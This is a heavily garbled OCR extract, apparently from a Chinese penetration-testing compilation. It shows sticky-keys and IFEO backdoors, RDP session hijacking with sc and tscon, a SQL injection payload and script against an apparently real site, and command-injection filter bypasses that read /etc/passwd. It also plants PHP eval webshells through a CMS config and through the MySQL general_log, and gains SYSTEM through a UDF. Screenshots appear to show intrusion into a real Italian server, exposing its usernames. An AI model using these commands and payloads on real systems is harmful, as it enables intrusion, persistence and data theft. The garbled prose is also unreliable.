i fE. Frel, AR HAh T Y XML R P

@ GO 3.2E 7
#3 -
Bn EEH  —WEE e w
L R TER LIt -
(LEEm T
e ine =

&l 1-6 MHBRH thAR 4R B9 XML

#5105 pi/dL 128 mREM: H 28 0 HTIARE: KRk
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i Rl TH

1-7 RIFRENRFI IR

1.17 —RBFE LR ICF

antian365 [#]fA: Mochazz
BILRER FA 22U PPT, KILEMRE 7 — MR AEA T#, HSRE®, T2
FTHIET shodan EH—F o X AN T E X 7 & windows “EHLHFFJE T 3389, 43T
—¥, WA G, M RIRTFA LR ZIE (14 1) AR KB —EFF T 3389 I HIR,
SRR E IR, BRI EE ST T @A EVLRIRT .

1.17.1 SEERIT RIS R

B SEIRIFEA R IR , o LI (o o 2 10 S Ok I 53 A/ — 3t R R ) DAY R o) 5 P P
HAAPTERRIZE . BAR T — 6T T 3389 I HARNLE:, JEIL M2 EAAG R4 21T 2
B, SRRIAT, NiZRBEE T, SERBRMEHAN . ERIFFBAITHIIGE, WA
AR A 55 4% 2 FR A BEIAIRG I, SRZA L EAE LI TR Z)aT], TRIMAR T shift
JaT1, ZHEWA L ER, WRIRA TR ORI HL. T, Wi 75 T shift 8, R
J& emd ARSI T, B

%106 T/t 128 HHBI: SH 28 H T 4E: Hih


https://mochazz.github.io/2017/07/29/shift/
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Accesso a Windows

¥ 7 Windows
F ¥ Siandard Editon

Copyright © 1885.2003 Misrosalt Corparation

Home utente: I

Password: I

Annulla Cpzioni =

INDOWS' system32cmd.exe

G\ WINDOWE vsysten3d2 >vhoami
nt authorityssystem

CoWWINDOWSwsysten32inet usewr

Account utente per S

a.gruarin Administrator
ASPNET c.raimondi cam c11n ic
chiara.rizei g.fazio griguaril
griguaterm Guest IUSR_LUNA
TWAM_LUHA katia.cezareo krhtgt
n.gaeta - leonardi
n.rizzuto .ziella
mirella.brambilla -eleuteri
o ] s.bharzaghi .fumarola
SUPPORT 738094520 tiziana.nardulli @.rossato
iComando completato con uno o pilt errori.

C:\WINDOWS \systen32>_

JE L shift WA H A cmd 2 system AR, FATKRES — F LA WLEH -, Rk -,
APAT A EIR Bl KRS, google #I1E— T

INDOWS' system32\cmd.exe
nt authoritywsystem

C:NWINDOUS systemd2net user

ficcount utente per N

a . gruarin Administrator alessandra.rossi
ASPNET c.raimondi carclinic
chiara.rizeil g-fa=zio griguaril
griguaterm Guest IUSR_LUNA
TWUAM_LUNA katia.cesareo krbtygt
m.diliddo m.gaeta m.leonardi
m.ripanti m.rizzuto m-ziella
manitoha mirella.brambilla p.eleuteri
rozaria.bucolo g _barzaghi = _fumarola
SUPFORT _388745%a0 tiziana.nardulli w.roszato
Comando completato con uno o pil errori.

C:WINDOWS Nsystem32 > net user NG G -dd

Ezecuzione comando riuscita.

C:HINDOMSSsystem32 >

Comando completato con unp o piu errori. ™ | S45ER— N B MEIR,

HE PR &5 RWSSARE - €  Tx@Em E BE -

escuzione comando riuscita BRI iTes

R, GERAREN IR R RS R B FOR T R, S BRI A PAT R . HIRA TR EK S,
B P I8 ik administrators 4H .
BE 2 SRATE I A P init administrators £ EE 20

%107 T/t 128 HRHBI: SH 28 H  HETAE: Hih
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INDOWS" system32  cmd.exe

Microsoft Windows [Uersione 5.2.37981
(C> Copyright 1985-2803 Microsoft Corp.

C:\UINDOWS system32inet localgroup administrators

administrators
Commento Gli amministratori hanno privilegi di accesso completo e senza 1i]
mitazioni al computerdominio

L I

Administrator

Domain Admins

Enterprise Admins
Esecuzione comando riuscita.

Messaggio di accesso

»—

Ukenti deskkop remoto dispongona di tale diritta. Se non si @ membri né del gruppo Ukenti desktop remoto né di alcun gruppo che disponga di tali diritti, oppure se il

t Per accedere al computer remota, & necessario disporre del diritto Consenti accesso tramite Servizi kerminal. Per impostazione predefinita, i membri del gruppo
gruppa Utenti desktop remoto non dispone di queste diritti, sard necessario concederli manualmente,

HE Px &E AWES - €, | owmm == OBE - m

Per accedere al computer remoto e necessario disporre del diritto X S=AERRHSH , CEESIHAEERS. BMERT , TE=s
consenti accesso tramite servizi terminal Per imposttazione e HESIF"mfv,Eiz‘*bT\EZEE EEETIET (]

predefinita,i membri del gruppo utenti desktop remoto non dispone - ' ° °

di queste diritti sara necessario concederli manualmente

AR RBATEA A P ZfE L E 2 H, £/ net localgroup & — N LA
SR P, RORIX G FNUE SRR KANE S, B DL s B2 AT e A2 JRA T
H AT W2 Remote Desktop Users.

C: \HINDOHS\.,y.,terﬂZ}net localgroup
Errore di sistema 1312.

Una sessione di accesso specificata non esiste. Potrebbe essere gid stata termin
ata.

CNUINDOWSssystem32>_

KW= B KA RGHNR 1312, 1REMERSWEMEIE. AJREOHZ L. BRR, TR
net localgroup AT, ATATLLEEESE —F administrator FTERIH T 4H, FoR
administrator FOFZEFE E k. FAIMEH net user administrator iy 2>k administrator AT {E
I 4H .

%108 T/t 128 HEKHBI: SH 28 H T 4E: Hih
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\WINDDWS' system32' cmd.exe

C=~WINDOWS»systemI2Z net user administrator

Mome utente Administrator

Home completo

Commento Account predefinito per 1'amministrazione
del computerdominio

Commento utente

Codice del paese AAA (Predefinito del sistemal

Account attive Si

Scadenza account Mai

Ultima impostazione password B6.-83-2008 16.33
Scadenza passuword Mai
Password cambiabile a7-83-2888 16.33
Paszsword richiesta Si
L'utente pud cambiare la password Si

Workstation consentite Tutti

Script di accesso

Profilo utente

Home directory

Ultimo accesso az2/09-,.201%7 1.31

Ore di accesso consentito Tutti

Appartenenze al gruppe locale #idminisztrators
*Terminal
B el BE1*
Appartenenze al gruppe globale *Froprietari autori cr
#Schema Admins
sltenti Terminal Serve
#Domain Users
*Domain Admins
#Enterprize Admins
Ezecuzione comando riuscita.

IC:~WINDOWUS system32 >
{# F net localgroup “Utenti desktop remoto” FH /744 /add fir4 BN A] 68 F 7 0 3810528 A2 56 1) A
P, ZJERReRE N FEHL.

¢ umer (e

\f‘g GeE_ oo Jolanll Io ! server
Glis : sntonole o akao 3 " S er diamw
Ja Himazicna i risli & Facilikana la anarainet ~amuni di QJ' 13 g ioaonr e Wor et
L @ fo ooiisuouid vad o Upd e
. - Mome  nput ¢
© Fo aazi i
o
'J: Ie min cra o o1 0 A g nir
T S Bk oaom
E ks
# File server
i . . N "I Y= e am
e esst e g moCcp < o8
3 . . Guic in e =
gj.glll [ I )
L=
@' v oaca ool onozoe

25 L S ()

- IR

1.17.2 FHRBEK

HSARBIX B ORLE R T (HEERE N2, FibFFRRENGEET, JFREBATLT
TEE—BHZE T . HiE, K 2B EfREmaiishiF (RDP hijacking) Rt N ENLHT. K
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%%, XRMEEERE, H% google — 1, KILIXFE S HE HIAHE RDP hijacking(f75#).
REHHAGE, £ windows HHHIRAREITE 75— B S, wtm] DUE A RS P
JEDAR

003 (new) [IETEIE{T] - Oracle VM VirtualBox

FE AR | e

|t | B %ﬂ

EI= =S a2 |
= ﬁ)\dministrator i
l e g’ BOHE € tost 2 EEhEY DESKTOP-SET. ..
~ ES 'g
L/ Vindows BREE [ st © ’ = S
Gjg =18 ’ “EiEERRe
{2 STENSLAHEEL =
Q) FHAEFE ) Lla
U o S EFO (e EBL LT
I_‘.“—_I minst wthon Eliﬁ ®). .. °
T e 8. EFmAE
“ Internet
O comenzs EOREOINS O RBERXEO® >
\| TRERE »
Outlook Express g’ EHHE ﬁ

FERFE > BSRTH [ eomEE o
 FTEAHEE
pro [0 =nw 2
(#1585 | & @ S | B WIS\ systencz. . | Q) BT W
OFpaEd o 15

test RIN Ve K administrator FH

vin2003 (new) [IETEEST] - Oracle WM VirtualBox

/ 7 Windows Server2003
. Enterprise Edition

Copyright © 1885-2003 Micrasoft Corporation

HITEHIIEEER , gz
HA E-FCidninistrater SRGEE R LUFERTELS

S Ctrl-alt-Tel BEEEEAlHE.
- [eesomsa I mm
L_\J{‘ Tindows HEHEHZ E’ SEhim & ’
4 r=rA »
L SR
©) BEIES 0
Dz

Wik —: GRS
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create a service that will connect selected session to ours.
1. Get all sessions information:

C:\Windows\system32>query user

USERNAME SESSTIONNAME ID STATE IDLE TIME LOGON TIME
Disc 1 3/12/2017 3:07 PM
»localadmin [ tcp# 2 Active . 3/12/2017 3:10 PM

C:\Windows\system32>

2. Create service which will hijack user's session:

C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon Jdest:rdp-tcp#55
[SC] CreateService SUCCESS

3. Start service:

net setart sesshijack

Right after that your session will be replaced with target session.
S BRI AR

A\TINDOYS A systeni?icnd. exe

C:“Documents and Settings guUErY USEer

Ar - LA
adninistrator ] - 2817-9-5 16:10
>test rdp—tcpiid . 2017-9-5 16:=41

C:~Documents and Settingsstestrsc create hijack binpath= "cmd.exe -k tscon 8 rde
st iprdp—tcpitd"
[SC] CreateService

C:~Documents and Settingsstest»net Start hijack,

o | AFINDOTS isystendZicnd. exe

Microsoft Windows [ff 5.2.37981
FRE 1985-2083 Microsoft Corp.

C:“Documents and Settings*Administrator>whoami
—fcradministrator

C:“Documents and Settings“Administrator>

X BEHAMNERIS(ES):  All Windows TS Session Hijacking (2012 R2 Demo)
R HEEFIA query A tscon ir 4>
KB —T query fn &L
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https://www.youtube.com/watch?v=OgsoIoWmhWw

(2K 365 LA FL) 2 6 HiZ+E w5 : antian365-20170928

VCAWINDOWS system 32’ sethc.exe

Mlcruﬁnft Hlnduui LRk 5.2.377901
*ﬁ 1985-2803 Microsoft Corp

C:“WINDOUS “systemd2 >query ~7
QUERY ¢ PROCESS | SESSION | TERMSERUER | USER >

15z y m32 >gquery session -7
ERERITg)

BfES.

QUERY SESSION [sessionname ! username | sessionidl
[/SERVER:servername] [/MODE] L[-FLOW] [-COMNECI]1 L-COUNTER]

sessionname H )

usernane HAHF username
sessionid essionid
#SERVER:servername 1 S
#MODE

#FLOW

#GONNECT

#COUNTER

ATIHDOYS\systend2icad. exe

C:“\Documents and Settings“testlXguery process 7
= Fa =

QUERY PROCESS [% | processzid | wusername sezsionname | ASID:inn | programname ]
[#SERVER:servername ]

k3

processid

username

sessionname

sID:nn

programname ;
#SERVER:zervername EE

sername
sessionname
sessionid

#SERUVER: servername

C:~Documents and Settings“testl>_
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\TINDOYS\systendZicnd. exe

C:“Documents and Settings“testiquery termserver -7
; o h

TR PEzE £ AT A AES

QUERY TERMSERUER [servername]l [/DOMAIN:domain]l [AADDRESS] L[~ CONTINUE]

sepruUernamne
sDOMAIN:domain
~#ADDRESS
#CONTINUE

TSCON {zessionid | sessionname} [-/DEST:sessionname]l
[/PASSWORD:pw | PASSWORD:=1 L[-U1
essionid
ssionname
#DEST -zessionname
sPASSWORD : pu
U

C:“Documentz and Settings“test>

NTHI45 4 query Al tscon Ay 4 1A B2 1EHFF H 1
query user BHIFTA CEFMH P 215 E
tscon 21 ID VI 2| H br 1R ES

 CAWINDOWS system 32 cmd.exe

Microsoft Windows [Uersione 5.2.37701
Gy Copyright 1985-20H03 Microszoft Corp.

C=~WINDOWS~syztem32
NOMEUTEMTE NUT I0NE ID STATO INATTIVITA ACCESS0
administrator B Disc nessuno 21-88-2017 9

1 Disc nessuno B2,8%,2017 2

C:\WINDOWS\systen32]tscon 0. |

T~

tscon id

8] 2 2 Je ] B U H AR P B AR Gt

1.17.3 ARG EI]

BoMOrik: B

RARZATRIGEE A b siad, WS r%, ARERRE. L shift REERIZATE]]
BMIr: BEORR NRER

RAEZAHMIC T, JEPRRAFE Bt cmd.exe AR FT LA, SRTFM N M T .
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R ERAET

Bpw | Ero
| 2 BRER L)
e ET T = = )
BT E = ER R Hat R ()

w2 | [ mE

WWINDOWS' system32' sethc.exe

C:“Documents and Settings\ﬂdministPatuP\%E}cupy utilman.exe G: \l.-JINDOHS\systemZiI
2utilman.exe )
FEZ C:\WINDOWS s i xe 157 (Yes MosAlld>: Yes

~F0 AR fE T 3 »-IL-I -

L

C:“\Documents and Settings“Admin istratur\mé..—,_ﬁ}whuami

L =y [P
nt authorityssystem 127 .T.E:}—.JEHI]I_.HIIJJ:L.--.J:E

GC:“Documents and Settings“Admin istPatuP\%E}_

ZHNESE T BB SOEM RS a4, SRR T EAE H(wino3 _EINECHY), X H
TG R, SR FNE YR — T .

+ sethc.exe & #tJil cmd.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

4 utilman.exe & #:5% cmd.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

1.17.4 i TR

¥ RgudtfdiEal, FaHEIEFE, SHHs

2% 1| {¢i FH sethc.exe A utilman.exe BREEEAY FH

S RS B AN S T RIME S B R A H DR

I8 i 2H s Sk PR 1] sethc.exe AT utilman.exe BTG & FI7 i) AT RLR ;

AE AT )5 RDP(Remote Desktop Protocol)/RDS(Relational Database Service) Al 25 1) T M1 % &
TEAM L
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1.17.5 B 4

RSB T, MR 2B A, SR AP A AR 9T . 7 LA B 1R
T, ARELLERMAG . AN, SRR TN, HORETUEEENL. R
S B HT L BRI, AR IO BT f 5 DU B 722, T B SC o B s
SR SR, AR, B0 AR RIS https://mochazz.github.io/

1.18 —/™ sQL JEN K247

----vr_system 20170904

RREAIE— SQLIENAILA,

Ut R PR, A (B, LR
AEEN

FEENRHEER :

QuerySuffix SH7F1E SQLEN , QuerySuffix FIEREHT Md5 i,
ZEN SQALMAP TR EBHIEN MARBRRE G Z SQLMAP tamper ]

prefix {AFERAER. BTFIET.
1.18.1 FT &I

FIRFIEN , order by ki , #4e=1{ union select , union select
1,2,3,4,5,6,7,8,9,10 HIER{L,

Payload:

+union select 1,2,3,4,56,concat(Ox7e, (select table name from

information_schema.tables limit 0,1),0x7¢),8,9,10
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PS: FRIEHLZ AT SQLMAP BIAH R ZIX AN “+” [yME, “+” FTEALE MD5 B,
1.18.2 48’5 sqQL yFEAN A

FAS PYTHON A |, BIAZNT :

coding=utf-g —*-
create: vr_system

import requests
import re
import base&4

.com.cn/W.php?QuervSuffix=~~ipage=1

e ("~~", str (1))
.replace("~~", base64.encodestring(a))

html = re.findall(="~(.%)~", req.cexc)

print html

except:print u"FE A2 EE SN v

1.18.3MySQL R BEPAT Load_file() 2B SCH:, TTEEAT into
outfile EAE/E?

BRI R AT sql FEAREREH, REe{EH Load_file(filename) St HUSC 4, ToikAdH into

outfile 5N, I LUNARSS 5 into outfile FAFHEAT 1AL, BT LA 45 i OB il
& “Xf Load_file FAF AT I JEELE 2B file BUR” o J5 KA & B BHRLR DA T HEA selinux

IR A

JR¥E: 7£ red hat RFU linux 1 selinux X FRLE daemon W] LAIEAT B ARE IR AE J2 A BRI,

mysql 1] select into outfile [T 4 /& mysql Y daemon KA1 51 5 U ERAE I « 5 02 AT 245k

BEHA S SCFRIRBR . 1 selinux XX AR 7 FRE] . W15 selinux A& ¢ RIIE, XA 4

AT AT 0] LI o

FRRTT VR

AT LASC A selinuxe

AJ LLFE fetc/selinux F13k F] config

root H J,

shell>vi /etc/selinux/config

# This file controls the state of SELinux on the system.

# SELINUX= can take one of these three values:

# enforcing - SELinux security policy is enforced.

# permissive - SELinux prints warnings instead of enforcing.

# disabled - SELinux is fully disabled.

SELINUX=enforcing

& 24 SELINUX=disabled <[4 selinux B AT LA T, 3 AN r) A AT AR AR T o

ANt A 56 P SELINUX A5 75 R — 22 4 ] i

MR T LA, LS mysql IS EREALRR
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shell>getsebool -a 7] A& & A X R G — R A 5F 9 BERE IARUBR 15 100
Ipd_disable_trans --> off

mail_read_content --> off

mailman_mail_disable_trans --> off
mdadm_disable_trans --> off

mozilla_read_content --> off

mysqld_disable_trans --> off

nagios_disable_trans --> off

named_disable_trans --> off
named_write_master_zones --> off

nfs_export_all_ro -->on

nfs_export_all_rw -->on

nfsd_disable_trans --> off

nmbd_disable_trans --> off

nrpe_disable_trans --> off

shell>setsebool -P mysqld_disable_trans=1

TEIER mysql PP ERERORLIR, IXFE

mysql> select user from user into outfile '/home/test.txt’;
BNEH E X H B e 1 .

-P RN SRR AVERCE, BN E S 2 JE )R E TRBE .
getsebool setsebool 774 £ root HI 7 T AR .

B 1% selinux HIRLRR, 98 B SR ZARIEZ H M A B 5 HRR .

1.19 iy 2 PUTITIEH X B B ST B H

1.19.1 {38 cat/ls ERGHSFHN

LA Is iy 2 A -
a=1;b=s;SasSh
[ root@localhost 1/ a=1; b=5s; $akb

owasp-modsecurity-crs-3. 0-master. zip RPM-GPG-KEY-Cent05-6
[ root@localhost £ EI# 1s

RPM- GPG- KEY- Cent05-6
[ root@localhost & 14 |

PA cat Jetc/passwd 91 :
a=c;b=a;c=t;SaSbSc /etc/passwd

#0117 /128 R AM: H 28 0 HTARE: R
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l[rnnt@lncalhnﬁt EMEI# a=c b= c=t; fafblc /etc/passwd
root: x: 0: 0: root: /root: /bin/bash

bin: x: 1: 1: bim: /bin: /sbin/nologin

daemon: x: 2: 2: daemon: /sbin: /sbin/nologin

adm: x: 3: 4: adm: /var/adm: /sbin/nologin

lp: x: 47 1p: Avar/spool/1pd: /sbin/nologin

sync: x: 5: 0: sync: /sbin: /bin/sync

shutdown: x: & 0: shutdown: /sbin: /sbin/shutdown

1.19.2 =g LT

1. HFIHS{IFS)

£ bash H1 IFS & N EBI 3 BE AT, manual HOM I RGR IR

IFS The Internal Field Separator that is used for word splitting after expansion and to split lines
into words with the read builtin command. The default value is .

IFS IERIMEN: 1 CBIE: 6, tab, AT , K ASSH AL FH T/ HEHFT BN B Sk mt
#&: 2009 0a

L FOOTWLOCALNOST S MEIF

[ root@localhost =W ]1# cath{IFS}/etc/passwd
root: x: 0 ¢ root: /root: /bin/bash

bin: x: 1: 1: bim /bim: /sbin/nologin

daemon: x: 2: 2: daemon: /sbin: /sbin/nologin

adm: x: 3: 4: adm: /var/adm: /sbin/nologin

Tp: w47 1p: Svar/spool/ Lpd: /sbin/nologin
sync: x: 500 sync: Ssbin: Sbin/ sync

2. BREOCCPFI A € 757 <” <> AT BLSEBUN SCPF I 3 g A
JEUEE: > At E [ B SO B 7 i SRR (RS
< FNEE R B R

[ root@localhost ~]1# cat dong
gewwwwww T T T T T T T T F T T fffffee
v T FFFFFF e
wefffffffffffffffffffffff
fueeeeeeeeeeeeeeee

[ root@localhost ~1# cat<{dong|| cat>dong
gewwwwwwwf fffffFEFfFfffffffffffff
evwwwwewww P FFF I fffffe
wefffffffffffffffrffffffs
fueeeeeeeeeeeeeeee

[ root@localhost S EI# catd»/etc/passwd
root: ¥ 0: 0: root: /root: /bin/bash

bim x 1 1 bin: Sbin: /sbin/nologin
daemon: x: 2: 2: daemon: /sbin: /sbin/nologin
adm: ¥ 2 4 adm fvarfadm Sehin/nnlnnin

#5118 mi/dk 128 miRHAM: H 28 0 HTARE: K&k
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[ root@localhost ZE# cat{:/etc/passwd
root: x: 0 0: root: /root: /bin/bash

bim: % 1: 1: bin: /bin: /sbin/nologin

daemon: x: 2 2: daemon: /sbin: /sbin/nologin
adm: x: 3: 4: adm: /var/adm: /sbin/nologin

lp x4 7 1p: Avar/spool/1pd: /sbin/nologin

1.19.3 FClE & K1y & $AT IR IR a0 far 247 T A6 A

1. iEEAHLHAT weet. nc B curl 254, SRJETE M BN T R e, @il H &
KF Wiy 2 e AT

2. HEFTEUE R dns HESR AWy &2 B HAT, WA
A il —NMEFR 13844, W0 1dsa3r3.shiro.server.com
)it payload il H#aH1#4T ping 1dsa3r3.shiro.server.com

o dns lRS5JE G WERJE B LR T iZIRA I dns B, RIEW] H AR 62 04T

XFOEEEEN T winfunix 248, &YW HEN ping 4. 1 HIHAT DNS [ 33 & F ik
F TCP.

DA IALE 75 B4 & DNS w55 48

1.20 HJBEMRAEL(—)

H—K, Szrzvdny R EFLEREFE 22 T HT ThinkPHP [#] cms J5 & getshell {13, AR5
SEFrR b AR — AN jymusic ems FEEERIMSE, BRI T —3E,  ERBEEERAL iR T IR
MG LET, PGS R AR RE, oA S8l T, A

MR, R .
1.20.1 UDF 4

BAKS: admin 05 admin B35 5 (&M, #ESHOL). SMiE, #if PHP —H1EAR Y
M, =T EEA AR, RIEZ AR CE S CEERER 28 7R 2T ThinkPHP ) 2 /> cms
5 & getshell FJH]
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_/IY EFIEE - Wmusic EFRE. x\+

6@ 127.0.0.1/jymusic/admin.php?s=/config/group.html UEH Q._fcc_g-'e = Ctrl K= ﬁ E 3 K |- B &
JYmusic @ET fAEF  ERE AFF Al ATE wEkEr adis
w3 B SR AR EEAE | EERTERAE
FARGRERHETEE

ShmitET FEog | EHEERE -~

mizx@z [ <2php @eval($_POST[cmd]); 7> PUAEERS T
MERS | <iphp @eval(S_POST[cmd” S e RS
SEHEB | <?php Geval(s_POSTIcmd]); > BEETEESS TSRS

s — i, B FARRI)

[ = [0} 127.0.0.1/jymusic/Runtime/Temp/95alfe934 W ¢ Q & ﬁ % 4+ H ®| - & | - 3{'
nf:2
E
INT ¥ = @ SQLBASICS~ UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING~ HTML- ENCRYPTION- OTHER- XS5 LF
@& Load URL http://127.0.0.1fjymusic/Runtime/Temp/95alfe934b68ebfee8468bf0bcaf0000.php
% split URL
}) Execute
Post data [[] Referrer € OxHEX 3B % %URL 3 @ BASEGA I | nseit string fo rep '555| Insert replacing string | [{] |
Post data cmd=phpinfa0;l
A
B saRENES Sy SEEESEATY? ovacll 2= g EE FEIR

"s:14:"WEB SITE CLOSE";s:1:"1%5:16:"CONFIG TYPE LIST";a:5:4i:0;5:6: 852" 1:1;5:6: "5 ";1:2;5:6: " 3LA";1:3,5:6: "E14E " i:4;5:6:"#T
"6 12:"WEB_SITE_ICP";s:30:"

! ‘php

| System |Wind0'w5 NT PC 6.1 build 7601 (Windows 7 Ulimate Edition Service Pack 1) i586 |

[2ita maen A 14 2014 101200 I

R AT, AREATTHE 5T
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| cigm
EHRA z017-08-:
B (O] #hmzedl
1 BiAzeal
I_1 Typel
[T] 3FANSHELL b4
Hitit: [/ jymusi o/ Buntimes Tenp/ /35l feda4bEG et £eetdBa b E0b ed FOO00. phy | omd]
[t
g |
ERIES] v ||FHE Eva) v ||sE2E12 | Fm

TIPS T o, AT LER, FHZAAMPAT A SR Sebr b, AP B 7
Brdr At BT ERATBURAE, NEPITH A<, #AZERE G LIITER

m iz Bz 00001 X

SHIF 2017-0
EREI RS
T Bhijae!

il Typel

sichBuntimehTe

FEHE B UDF K5 T

5121 pi/4k 128 WARHE: FH 28 H HT4RE: 4%
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hiz7.0.0.1 X
] C:phpStudyZ VW j ymusiciBuntime \ Temph \/ i EHfR 2017-
127.0.0.1 B 0), 3f 13 EFR Bial ol Bt = [0 #mzeal
TR ] e
5 [ phpStuiy? H| 0112cefbbedddeacdT99B054562. . 201T-09-20 1T:22:23 1113 BGE i Typel
B I
B jymusic |H| 0355T4ac830fec50dad1254936b. . . 2017-08-20 17:48:16  B63 BGE
= ] Euntime
) |H| 09b£c9TE e aed)5d=0a55b9£TIE4T. .. 201T-08-20 17:22:31 561 BGE
] Cache
5] Data B 2248964c04b6 5833168987141, .. 2017-08-20 1T:22:31 445 BGE
] Logs
] Addens B 4e519c637d54aBed09abeTT4A560. .. 2017-08-20 17:22:22 1384 BGE
] Application
L Dats H| 86528245k 00 c5252a4a45bFb433d. . 2017-09-20 17:23:28 50 BGE
] Fublic o
L] Template H| 9541 fed34bhfeb feefdfibfibodf. . 2017-09-21 16:11:03 8235 0BBE
) ThinkPHP =
] Uploads
- H| 2874351 £c2 121507367624 cff3e. . 2017-09-20 17:22:23 966 BGE
e . _
w E
B 10247bb242b02ATOEBTORH ef18a, .. 201T-08-20 17:22:23 575 0BGE
B 1655:0£e16842bI0eIFb420TEE, .. 2017-08-20 17:22:23 2605 BGE
|H| c48582ed5c cdcebdfocceaTl0cTa, .. 2017-08-20 17:22:23 1652 BGE
B 899352022 cBdsEThT4E5562E. .. 2017-08-21 02:44:42 1150 BGE
| B udf. phy 2017-09-21 16:16:36  TBE06 BGE

PG R FRATTHT udf K5

/http +ff127.0.0.1/jymusic/Runtime/Temp/udf.php

Post data Referrer » @& BASEd B

Mochazz

oo
S dIl ORI AT AT BRA, AT A B AT [el

| Load URL /http:4"."12?.8.[!.1.ijmu-sic.a"Runtirne;‘Temp;"ud:.php

Em

split URL
Execute
.
Post data Referrer ¥ OxHEX

=T =] [l S DL B Tas S MYSQLEP o o tilER, SH B EGMEENREDLL Wit
HSPHPREIE i b1l o calhost

ERTE aIhnEkREE: i mysalDl. dil
HATSQLIT
MYSQLERE
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(D | 127.0.0. 1/Funtine/Tenp/udf. php? ¥ iE || Q B8E < &8 & # B & &|-

LI = & SQL BASICS- UNION BASED- ERROR/DOVELE QUERY- TOOLS- WAF BYFASS- ENWCODING- HIML- ENCEYPTION- OTHER- XS5+ LFI-
Load URL http: ff127.0.0. 1/ Runtime/Tenp/udf. php

iplit URL

Execute

[~ Post data [ BReferrer <% UOzHEZ @ HUEL e, M BASERY e,

Inzert string to repl{ [Inzert replacing strij

127.0.0.1 C: fphpStudy2 Mt fRuntirnef Termp)
HiREF
EFER
HIRER(C:)
HEHE (D) l—fchadninistrator
HIRER(E:) succesd!

IAE R A — TR i H A2 TR, A 3 5 B DB 3389 i, W LA
— N A AT 5 T A R I IR 5 ) g 1
1 F tasklist /svc | findstr TermService £ i 72 5 [ F25 F) PID

http:/f127.0.0. 1/Funtime/Temp/udf. php

Insert replacing strii W1

I” Referrer 4™ DxHEX - - HURL - - BASEG4 - Inzert string to repl:‘

tacklist fsve | findstr TermService
1396 TermService

succeed!

§i ] netstat -nao | findstr 1396 & & 7L 2 5 [ A2 7147 i 11 5

hitp:/127.0.0. 1/Runtime/Temp/ udf. php

[~ Post data [ Referrer ™% OxHEX - - SUEL e d - BASEE4 P d Insert string to repl:‘
C: /phpStudy 2/ wWww fRuntime) Tempf

Inzert replacing stri

g ocahost  primiiasos P T = E -

ietstat -nao | findstr 1206 |
TCF 0.0.0.0:3383 0.0.0.0:0 LISTENIHG 1396 |

BT IR L, AV BRI R e sk K S, i B A administrator A FURLR, e B
BT T, AAHLUN fr 2 EEE MR 2T copy C:\\WINDOWS\\system32\\cmd.exe
C:\\WINDOWS\\system32\\sethc.exe /Y AIERARXTXDANE, AT AERVARTEHCFE: K
BIF LR SR
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http: ##127.0.0. 1/Buntime/Temp/udf. php

Inzert replacing st

Inzert string to repl:‘

[~ Post data [ Referver o OxHEL e aw SUEL ., 4w BASEEL W,

C: [phpStudy2 W Runtimef Tempf

succeed!

SERLEREZ RN, 55 F shift BEBAGTT emd F2FF, TTLLE SIRURA system
B 192.168.1.111 - iT2

F=23] windows

/ 7 WindowsSe
'. Enterprise Edition

Capyright © 1085-2003 Mistosall Carparation

HRiH ER @) >

B 1985-2083 Microsoft Comp.

Cz“\WINDOWE “systen32 >vwhoami
nt anthorityssystem

G~ HINDOWE ~system32>

BN RANTE BN, B IR SR I 2 1 B Bk
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7 Windows Server2003
'. Enterprise Edition

Copyright @ 1885-2003 Microsafl Corporation

APEW: |adn
20 (B |

ET @) >

Ll

2017-9-23 21:20

J SREPESD

[ mnmEs ©

C J/"l'im(lolls HEEHSE
. Yme=rE

1.20.2general_log $REX webshell

IHSEE A T EANSE LR, HATEAR MRS, RIE AT PUE A& SR H mysql
1) genera At B A4 SR S2EIZREN webshell, iX B SN0 .

#5125 mu/dk 128 mREM: H 28 0 HTIARE: KR
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mysgl> show global variables like ' generalx’;
———— e e +

Variable_name Value

general_log
general_log_file

2 rows in set (B.82 sec)

mysgl> set general_log='on’;
ERROR 1229 (HYOBEB)>: Uariable ‘general_log’ is a GLOBAL variable and should be ze
t with SET GLOBAL

mysgl> show global variables like 'xgeneralx’; - ﬁﬁgeneraiﬁ‘g

general_log
general_log_file

rows in set (B.80 sec)

:I: bl
mysql> set global general_log='on’; —w*————— J:FE' Py —Laﬁi
Query OK. B rows affected (A.BA zec)

T X
mysgl> set global general log_file='C: NphpStudyZ WS shell.php’: T‘ﬁ )_E E[ FE,EA{_\LE
Query OK, B rows affected (B.BA sec)

myzgl> show global variables like ‘Xgeneral:’ -+ ﬁﬁ%?ﬁ%ﬁzlﬁ

general_log
general_log_file

2 rows in set (B.8@ sec)
f g
mysql> select '<7php Beval(5_POST[’cmd’ 1>; 7>°; - E})\WEDShE"

ERROR 1864 <(42888>: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near '*1>;

=0l x|

Fila Edit Selection Find View Goto Teols Froject FPreferencez Help

N ity

i o Ch127.0.0.1 X <

[ C: hphpS tudy2 YWY ~o | EER BHR 2017-09-23 .
127.0.0.1 BF @), G Bzt i) B Fo Bt = (O] BhmzeRl

[l e C: BRIAZERI

5 (3 phoStudy? 5 Public 2017-09-22 O0:48:51 0 o777
= O
) Addons 5 Runtime 2017-09-22 23:33:51 0 o777
] Application
5 Data ) Tenplate 2017-09-22 O0:48:51 0 07T
] phpMyhdmin
) Public [5] ThinkFHF 2017-09-22 O0:48:51 0 o777
] Buntime
] Template 5] Uploads 2017-09-22 09:56:00 0 o777
) ThinkPHP
L0 Uploads B htaceess 2013-12-17 16:55:48 210 06Ee
] Apache
— ‘I’;;k“l’ 8] 2dmin. phe 2016-07-04 07:09:35 1209 0666
=) MysaL )
L 8] index. phe 2016-07-04 O7:09:24 2077 0866
] nginx
] php ) o o
) SL-Front |B] install. php 2014-02-17 14:45:12 1112 ORGE
[ tmp
B tools ] shell. php 2017-09-23 22:10:00 310 ORGE
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BRI A %X 30 E: Mysql root K5 general log file 77 13K EL webshell

1.20.3 ;&R 5] ;&

£ B ORI T, RIS dIl U e

http: {f127.0.0. 1/Runtime/Temp/udf. php

Feffmysqlivi A #5.5.53

